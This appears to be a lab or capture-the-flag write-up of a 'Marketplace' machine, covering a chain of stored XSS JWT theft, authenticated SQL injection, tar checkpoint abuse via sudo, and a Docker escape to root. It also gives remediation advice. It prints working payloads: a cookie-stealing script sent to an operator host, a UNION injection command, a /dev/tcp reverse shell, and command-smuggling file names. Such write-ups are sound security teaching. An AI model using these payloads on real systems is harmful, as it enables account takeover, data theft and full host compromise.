Case file

Stored XSS JWT theft, SQLi, tar checkpoint, and Docker escape

Intermediate application engagement: stored XSS stole an admin JWT; SQLi on /admin leaked messages; sudo backup as michael abused tar checkpoints; Docker mount escaped to host root.

Intermediate30 minWeb · XSS · SQLi · Docker
  • A marketplace listing accepted stored XSS that exfiltrated michael’s admin JWT. Authenticated SQLi read messages with SSH material. Running backup.sh as michael via sudo enabled tar checkpoint RCE; Docker then mounted the host filesystem.

  • Listing XSS exfiltrated cookies. The stolen JWT authenticated as michael with admin privileges.

  • With the admin JWT, UNION SQLi on user= dumped marketplace.messages including SSH-related content.

  • sudo backup as michael executed tar checkpoint actions. Docker -v /:/mnt chroot reached host root.

01

Engagement summary

A marketplace listing accepted stored XSS that exfiltrated michael’s admin JWT. Authenticated SQLi read messages with SSH material. Running backup.sh as michael via sudo enabled tar checkpoint RCE; Docker then mounted the host filesystem.

The Marketplace application accepted HTML in listings. A stored XSS payload posted document.cookie to our listener, recovering michael’s JWT with admin:true. Using that token against /admin?user= we UNION-selected marketplace.messages and recovered user-level access material. Locally, sudo -u michael /opt/backups/backup.sh archived * with tar; planting --checkpoint and --checkpoint-action files executed our shell as michael. michael could run Docker; docker run -v /:/mnt alpine chroot /mnt yielded host root.

Business impact

Stored XSS against privileged reviewers is session theft. JWT admin claims without binding plus SQLi expose the data layer. sudo over wildcard tar and Docker socket access are host compromise. Sanitize listings, use HttpOnly cookies / short-lived tokens, parameterize SQL, and keep Docker away from low-privilege sudoers.

02

Stored XSS to admin JWT

Listing XSS exfiltrated cookies. The stolen JWT authenticated as michael with admin privileges.

PAYLOAD

<script>document.location='http://OPERATOR_IP:8000/grabber.php?c='+document.cookie</script>

OPERATOR · XSS CATCH

savvy@lab:~$ python3 -m http.server 8000

GET /grabber.php?c=token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# JWT payload includes "username":"michael","admin":true

03

Authenticated SQLi on /admin

With the admin JWT, UNION SQLi on user= dumped marketplace.messages including SSH-related content.

OPERATOR · SQLI

savvy@lab:~$ curl -s --cookie "token=JWT" 'http://10.10.50.10/admin?user='$(python3 -c "import urllib.parse;print(urllib.parse.quote(\"0 UNION SELECT 1,GROUP_CONCAT(message_content),3,4 FROM marketplace.messages\"))")

# messages contain credentials / SSH material for user access

04

tar checkpoint and Docker escape

sudo backup as michael executed tar checkpoint actions. Docker -v /:/mnt chroot reached host root.

OPERATOR · TAR

savvy@lab:~$ sudo -l

(michael) NOPASSWD: /opt/backups/backup.sh

savvy@lab:/opt/backups$ printf '#!/bin/sh\nbash -i >& /dev/tcp/OPERATOR/9001 0>&1\n' > shell.sh && chmod +x shell.sh

savvy@lab:/opt/backups$ touch -- "--checkpoint=1"

savvy@lab:/opt/backups$ touch -- "--checkpoint-action=exec=sh shell.sh"

savvy@lab:~$ nc -lvnp 9001

savvy@lab:~$ sudo -u michael /opt/backups/backup.sh

savvy@lab:/home/michael$

OPERATOR · DOCKER

savvy@lab:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh

root@lab:/# id

uid=0(root) gid=0(root) groups=0(root)

Remediation

Encode user HTML; rotate JWTs after XSS; fix SQLi with parameterized queries. Replace wildcard tar backups with explicit file lists; remove Docker from sudoers and use rootless or tightly scoped socket access.